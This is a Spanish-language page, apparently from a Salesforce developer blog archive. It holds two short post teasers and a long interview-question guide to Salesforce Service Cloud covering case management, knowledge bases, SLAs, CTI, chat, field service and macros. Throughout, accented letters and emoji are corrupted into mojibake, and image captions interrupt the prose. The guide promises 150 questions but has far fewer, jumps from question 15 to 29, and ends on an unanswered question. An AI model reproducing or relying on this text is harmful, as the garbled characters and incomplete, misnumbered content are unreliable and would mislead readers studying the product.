Skip to content

Etiqueta: soql

Manipulaci贸n de datos mediante la CLI de Salesforce 鈽侊笍

Manipulaci贸n de datos mediante la CLI de Salesforce 鈽侊笍

Aprenda c贸mo puede utilizar la CLI de Salesforce para manipular lotes de registros peque帽os y grandes en su flujo de trabajo de DevOps.

La CLI de Salesforce le permite manipular lotes de registros peque帽os y grandes en su flujo de trabajo de DevOps

The post Manipule datos con la CLI de Salesforce appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Consulta de datos adicionales mediante consultas SOQL anidadas en la API REST 鈽侊笍

Consulta de datos adicionales mediante consultas SOQL anidadas en la API REST 鈽侊笍

Combine varias llamadas a la API en una 煤nica llamada a la API para simplificar su c贸digo y reducir el n煤mero de llamadas a la API que se contabilizan en su l铆mite diario.

Las consultas SOQL anidadas son una forma de simplificar su c贸digo

The post Consulte m谩s datos con consultas SOQL anidadas en la API de REST appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

馃殌 Gu铆a definitiva de 150 preguntas sobre Salesforce Service Cloud: 隆domine cada detalle! 馃専

Servicio_nube

Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y caracter铆sticas
  • Gesti贸n de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatizaci贸n:
  • Informes y paneles en Service Cloud
  • Integraci贸n de CTI y telefon铆a
  • Servicio al cliente en redes sociales
  • Chat y mensajer铆a
  • Integraci贸n de correo electr贸nico
  • M茅tricas y an谩lisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y caracter铆sticas

1. 驴Qu茅 es Salesforce Service Cloud?

鈥 Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera r谩pida y eficiente. 隆Ah铆 es donde entra Salesforce Service Cloud!

2. 驴C贸mo beneficia Service Cloud a un departamento de atenci贸n al cliente?

ni帽o, ni帽o, juego, malabarismo, pelota, vector, aislado, 18804576, arte vectorial, en, Vecteezy

Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le env铆an correos electr贸nicos o le hacen ping en las redes sociales. 隆Es como hacer malabares! Service Cloud es como un asistente s煤per inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder m谩s r谩pido.

驴La mejor parte? Puede conectarse con sus clientes dondequiera que est茅n: por tel茅fono, en las redes sociales, lo que sea. 隆Menos caos, m谩s choca esos cinco en la oficina!

3. 驴Cu谩l es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un autom贸vil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, 驴la nube de servicios? Ese es su sistema de direcci贸n y comodidad. Una vez que los clientes est谩n a bordo, se garantiza que est茅n contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querr谩n viajar contigo nuevamente.

4. 驴Qu茅 es OmniCanal en el contexto de Service Cloud y c贸mo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electr贸nico, tel茅fono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. 驴C贸mo mejora Service Cloud la satisfacci贸n del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades r谩pidamente no s贸lo los deja satisfechos; 隆Puede convertirlos en fan谩ticos de tu marca! Adem谩s, los clientes satisfechos a menudo significan que volver谩n y les dir谩n a sus amigos lo fant谩stico que eres: 隆todos ganan!

Gesti贸n de casos

1.驴Qu茅 es un caso en Salesforce?

鈥 Imag铆nese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. 驴Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.驴C贸mo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente env铆a un correo electr贸nico, completa un formulario en su sitio web, le env铆a un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. 驴Qu茅 es Web-to-Case y c贸mo se utiliza?

驴Sabes c贸mo puedes pedir tu caf茅 con anticipaci贸n en una aplicaci贸n y te estar谩 esperando cuando llegues? Web-to-Case es algo as铆, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa informaci贸n se env铆a directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. 驴Explicar el correo electr贸nico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electr贸nico de servicio al cliente y Salesforce . Cuando sus clientes le env铆an un correo electr贸nico pidi茅ndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. 驴Qu茅 es la escalada de casos y c贸mo se configura?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

A veces, las cosas necesitan un poco m谩s de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto per铆odo de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una se帽al de alerta cuando uno est谩 tardando demasiado.

6. 驴C贸mo funcionan las reglas de asignaci贸n de casos?

Se帽ales manuales de emergencia de la polic铆a de tr谩nsito para conductores: conduzca en Malasia

Las reglas de asignaci贸n son como los polic铆as de tr谩nsito de Salesforce. Observan los nuevos casos que llegan y les indican la direcci贸n correcta. Seg煤n los detalles del caso, como de qu茅 se trata o de qui茅n proviene, estas reglas los env铆an al departamento correcto o a la persona m谩s adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. 驴Qu茅 son las colas de casos y en qu茅 se diferencian de las reglas de asignaci贸n?

Las reglas de asignaci贸n dirigen los casos a personas espec铆ficas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. 驴C贸mo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de d贸nde ha estado, a qui茅n ha visitado y qu茅 se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. As铆, cualquiera que observe el caso podr谩 ponerse al d铆a con su recorrido.

9. 驴Qu茅 son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. 驴C贸mo se utilizan los feeds de casos?

Los feeds de casos son como l铆neas de tiempo de las redes sociales para cada caso. Muestran una vista cronol贸gica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. 驴Puedes realizar un seguimiento del tiempo dedicado a cada caso?

S铆, con funciones de seguimiento del tiempo. Es como un cron贸metro del trabajo: puede medir cu谩nto tiempo dedican los agentes a cada caso.

12. 驴C贸mo maneja Salesforce los correos electr贸nicos masivos en la gesti贸n de casos?

Salesforce le permite enviar correos electr贸nicos masivos para mantener actualizados a muchos clientes a la vez.

13. 驴Qu茅 son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos espec铆ficos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. 驴Cu谩l es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas f铆sicas.

15. 驴Cu谩les son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. 驴Cu谩les son los componentes de la regla de asignaci贸n de casos en Salesforce?

En Salesforce, la regla de asignaci贸n de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o m谩s de una condici贸n que debe cumplirse para ser asignada a un usuario espec铆fico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignaci贸n.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. 驴Qu茅 es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la informaci贸n que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar art铆culos, preguntas frecuentes, gu铆as de soluci贸n de problemas y m谩s, todo organizado y f谩cil de encontrar.

2. Explicar el proceso de creaci贸n y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir art铆culos; pueden ser preguntas frecuentes, gu铆as pr谩cticas o pasos para la soluci贸n de problemas. Una vez que haya terminado, los colocar谩 en los estantes (es decir, los publicar谩 en Salesforce Knowledge) y as铆, estar谩n disponibles para que los lea su equipo o incluso sus clientes. Deber谩 revisar sus art铆culos con regularidad, actualizar la informaci贸n anterior y seguir agregando material nuevo para mantener todo actualizado.

3. 驴Cu谩l es la diferencia entre Soluciones y Art铆culos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Dise帽o de dibujos animados felices para ni帽os, p谩gina para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen informaci贸n 煤til, pero son un poco b谩sicas y solo su equipo puede leerlas. Por otro lado, los art铆culos de conocimiento son como tener una base de datos completa en l铆nea. Son m谩s din谩micos, pueden incluir videos e im谩genes y puedes compartirlos no solo con tu equipo sino tambi茅n con tus clientes.

4. 驴C贸mo pueden los usuarios de Service Cloud aprovechar los art铆culos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el art铆culo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea m谩s r谩pido, m谩s preciso y, sinceramente, mucho menos estresante.

5. 驴Pueden los clientes acceder a los art铆culos de conocimiento? 驴Si es as铆, c贸mo?

隆Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web p煤blico donde estos art铆culos est茅n disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el tel茅fono o enviar un correo electr贸nico.

Consola de servicio

1.驴Qu茅 es la Consola de Servicio en Salesforce?

Ilustraci贸n de Chef y m谩s Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imag铆nese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estaci贸n de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (art铆culos de conocimiento), todo en un solo lugar. Est谩s all铆, cocinando varios platos (manejando varios casos de clientes) a la vez. 馃嵆馃懇鈥嶐煃仇煍

2. 驴C贸mo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, 驴no ser铆a m谩s f谩cil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. 隆Es como tener superpoderes, para que puedan ayudar a los clientes m谩s r谩pido y mejor!

3. 驴Se puede personalizar la Consola de servicio? Si es as铆, 驴c贸mo?

隆Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu tel茅fono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a trav茅s de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que dise帽as tu centro de mando.

Portales/comunidades de clientes y agentes:

1. 驴Qu茅 es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores 鈥 Catskill Community Center

Imag铆nese un centro comunitario en un vecindario. Es un lugar donde los residentes se re煤nen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un 鈥渃entro comunitario鈥 virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en l铆nea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. Tambi茅n pueden encontrar art铆culos o anuncios 煤tiles que haya publicado, 隆muy parecido a un tablero de anuncios comunitario!

2. 驴En qu茅 se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el sal贸n principal donde todos se re煤nen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al sal贸n principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. 驴C贸mo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los art铆culos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y t茅rminos, sin necesidad de llamar directamente a la 鈥渙ficina del administrador鈥 (contactar con soporte).

4. 驴Cu谩les son las mejores pr谩cticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser f谩cil de usar y proporcionar valor real. Aseg煤rese de que sea de f谩cil acceso, con categor铆as claras para la discusi贸n y una amplia base de conocimientos. Actualice y modere peri贸dicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participaci贸n reconociendo a los miembros activos u organizando eventos o desaf铆os comunitarios.

Flujo de trabajo y automatizaci贸n

1. 驴Se puede automatizar el enrutamiento de casos? 驴Si es as铆, c贸mo?

En Service Cloud, los casos se pueden enrutar autom谩ticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema com煤n, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. 驴C贸mo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

驴Est谩s preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imag铆nese el restaurante prometiendo que cada pedido se servir谩 en 30 minutos o, de lo contrario, ser谩 gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse seg煤n su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. 隆Mantiene al equipo responsable y a los clientes contentos!

3. 驴Podr铆a definir la Gesti贸n de derechos en el contexto de Salesforce Service Cloud?

La gesti贸n de derechos en Salesforce Service Cloud es una funci贸n que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en funci贸n de factores como garant铆as de productos, contratos de servicio o planes de soporte. Esta caracter铆stica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. 驴Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representaci贸n gr谩fica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso seg煤n el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los t茅rminos del SLA.

Informes y paneles

1. 驴C贸mo mejoran los informes y paneles las operaciones de servicio?

Imag铆nese que al final de cada d铆a, el gerente recibe un resumen de todo lo sucedido: cu谩ntos clientes llegaron, cu谩l fue el plato m谩s popular, cu谩ntos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visi贸n r谩pida pero completa de c贸mo van las cosas. 驴Los clientes esperan demasiado? 驴Algunos problemas se resuelven m谩s r谩pido que otros? Esta informaci贸n ayuda al equipo a saber qu茅 funciona y qu茅 no, para que puedan mejorar su "servicio".

2. 驴Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es as铆, 驴c贸mo?

Service Cloud le permite realizar un seguimiento del desempe帽o de sus agentes. Puede ver cu谩ntos casos han resuelto, qu茅 tan r谩pido est谩n trabajando e incluso c贸mo los clientes califican su servicio. Es como un gr谩fico de desempe帽o para los camareros, pero para sus agentes de servicio.

3. 驴Cu谩les son algunas m茅tricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las m茅tricas comunes incluyen cosas como

  • tiempo promedio de resoluci贸n de casos
  • puntuaciones de satisfacci贸n del cliente
  • tasas de resoluci贸n del primer contacto
  • vol煤menes de casos por tipo o fuente

Integraci贸n de CTI y telefon铆a

1. 驴Qu茅 es la Integraci贸n Telef贸nica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e im谩genes de stock - iStock

Es un t茅rmino para un sistema que permite que las computadoras interact煤en con los tel茅fonos. Significa que cuando alguien llama, el sistema de atenci贸n al cliente sabe inmediatamente qui茅n es y cu谩l es su historial con la empresa.

2.驴C贸mo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente ser铆a como una reuni贸n de camareros durante la cena por primera vez. Tendr铆an que volver a hacer todas las preguntas b谩sicas: "驴Tiene alguna alergia?" 鈥溌縋refieres asiento junto a la ventana o en el pasillo?鈥 etc茅tera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres al茅rgico al man铆, saben que te gusta el queso extra y tienen lista tu mesa favorita. En t茅rminos de atenci贸n al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. 驴Puede darnos un ejemplo de c贸mo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra informaci贸n relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qu茅 llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. 驴Qu茅 es el servicio al cliente social en Salesforce?

驴Sabes c贸mo puedes chatear con amigos y ver qu茅 est谩n haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. 驴C贸mo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegur谩ndose de que nadie se sienta ignorado y que cada problema se resuelva r谩pidamente.

3. 驴Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

隆Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda qui茅n dijo qu茅, almacena informaci贸n sobre los problemas del cliente e incluso c贸mo se resolvi贸. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que contin煤a la conversaci贸n justo donde la dej贸, como si retrocediera en el historial de chat con un amigo.

Chat y mensajer铆a

1. 驴C贸mo funciona Live Agent en Service Cloud?

Imag铆nese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parec铆a confundido. As铆 es Live Agent en el mundo online. Es una caracter铆stica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras est谩n en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. 驴Cu谩les son los beneficios de utilizar el chat para atenci贸n al cliente?

Los clientes obtienen atenci贸n instant谩nea y sus preguntas pueden responderse de inmediato. Adem谩s, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes l铆neas de pago.

3. 驴Se pueden automatizar las respuestas en Live Agent?

S铆, si alguien dice "hola", el sistema puede decir autom谩ticamente "隆Hola!". 驴C贸mo puedo ayudarte hoy?" Est谩 programado para reconocer palabras o preguntas espec铆ficas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarr谩pidas a preguntas comunes.

4. 驴C贸mo maneja Salesforce los mensajes SMS para el servicio de atenci贸n al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajer铆a SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones r谩pidas o incluso responder preguntas, todo a trav茅s de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversaci贸n.

Integraci贸n de correo electr贸nico

1. 驴C贸mo se utiliza el correo electr贸nico en Service Cloud?

No se trata s贸lo de enviar y recibir correos electr贸nicos; es un sistema completo que gestiona las comunicaciones por correo electr贸nico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qu茅 se dijo y cu谩ndo.

2. 驴Puedes automatizar las respuestas por correo electr贸nico?

– 隆Absolutamente! Seg煤n ciertas palabras clave en el correo electr贸nico del cliente o criterios espec铆ficos, el sistema puede enviar una respuesta escrita previamente. Es instant谩neo, por lo que los clientes no tienen que esperar y les da a los agentes reales m谩s tiempo para manejar los problemas complejos que necesitan un toque humano.

3. 驴C贸mo se asegura de que los correos electr贸nicos de los clientes se env铆en a los agentes adecuados?

Utilice el enrutamiento de correo electr贸nico en Service Cloud. Usando las reglas que usted configura, los correos electr贸nicos se pueden dirigir a ciertos agentes seg煤n el contenido del correo electr贸nico, la informaci贸n del cliente o incluso la carga de trabajo de cada agente.

Soporte M贸vil

1. 驴C贸mo respalda Salesforce el servicio al cliente m贸vil?

Con la aplicaci贸n m贸vil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su tel茅fono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. 驴Cu谩les son las limitaciones del servicio al cliente m贸vil en Salesforce?

Dibujos animados y c贸mics de Parking Boot - im谩genes divertidas de CartoonStock

Si bien la aplicaci贸n m贸vil Salesforce es s煤per poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar dif铆ciles de navegar en una pantalla m谩s peque帽a y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

M茅tricas y an谩lisis de rendimiento

1. 驴C贸mo se mide la satisfacci贸n del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que est茅n satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos autom谩ticamente despu茅s de que se resuelva un caso. Es como preguntar: "驴Qu茅 le pareci贸 nuestro servicio?" 隆para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. 驴Qu茅 es una puntuaci贸n de satisfacci贸n del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuaci贸n que los clientes otorgan en funci贸n de su satisfacci贸n con una interacci贸n espec铆fica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuaci贸n, mejor trabajo hizo para cumplir (隆o superar!) sus expectativas.

3. 驴Qu茅 es Net Promoter Score (NPS) y c贸mo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "驴Recomendar铆a nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata s贸lo de un plato de sopa; 隆Lo importante es si toda la experiencia gastron贸mica les hace querer cont谩rselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuaci贸n a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. 驴Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quiz谩s ya est茅 utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, re煤ne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. 驴Qu茅 es Salesforce Einstein y c贸mo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. 驴C贸mo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atenci贸n al cliente, como responder preguntas comunes o guiar a un usuario a trav茅s de un proceso establecido.

3. 驴Puede Einstein sugerir respuestas a los agentes?

Es como un manual din谩mico e inteligente que no s贸lo tiene todas las respuestas sino que tambi茅n sabe exactamente cu谩ndo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o soluci贸n, acelerando el servicio y asegur谩ndose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. 驴Qu茅 es Field Service Lightning?

Vector libre | Banner de cami贸n de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos s煤per organizado que sabe qu茅 cami贸n de comida est谩 d贸nde, qu茅 sirven, qui茅n est谩 disponible para servir delicias y qui茅n se toma un descanso. 隆Se trata de administrar su equipo sobre la marcha, asegur谩ndose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desaf铆o "culinario" (problema del cliente) que encuentren en el campo!

2.驴C贸mo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda informaci贸n en tiempo real hacia y desde las unidades m贸viles (FSL), para que todos sepan lo que sucede a su alrededor.

3. 驴Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

隆Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que est茅n listos para mejorar sus especialidades seg煤n sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional f谩cil de recordar. 隆Imag铆nate que estamos charlando en tu cafeter铆a favorita!

macros

1.驴Qu茅 es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "隆Oye, ya tengo esto!". 隆Y listo!

2. 驴Todos pueden usar mis Macros?

Si los mantiene p煤blicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guard谩rsela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. 驴Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

鈥 Directamente, no. Las macros est谩n dise帽adas para automatizar las funcionalidades est谩ndar de Salesforce.

4. 驴Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un bot贸n "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. 驴Se pueden programar las macros para que se ejecuten a una hora espec铆fica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador autom谩tico.

6. 驴Qu茅 tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. 驴C贸mo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. 驴Se puede modificar una macro activa? 驴Hay que tomar alguna precauci贸n?

S铆, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. 驴Es posible asignar Macros espec铆ficas a usuarios o perfiles espec铆ficos?

Si bien no puede asignar una macro directamente a usuarios espec铆ficos, puede controlar el acceso utilizando las carpetas de macros y la configuraci贸n de uso compartido de Salesforce.

10. 驴C贸mo se relacionan las macros con la API de Salesforce?

Las macros no interact煤an directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. 驴Se pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes prop贸sitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. 驴C贸mo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecuci贸n, se detiene y se muestra un mensaje de error.

13. 驴Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. 驴Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditor铆a est谩ndar de Salesforce para ver los cambios en los registros.

15. 驴Cu谩l es el papel de las instrucciones macro en el proceso de creaci贸n?

Las instrucciones macro son el coraz贸n de la macro y dictan qu茅 acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. 驴Puedes usar macros para enviar correos electr贸nicos con archivos adjuntos?

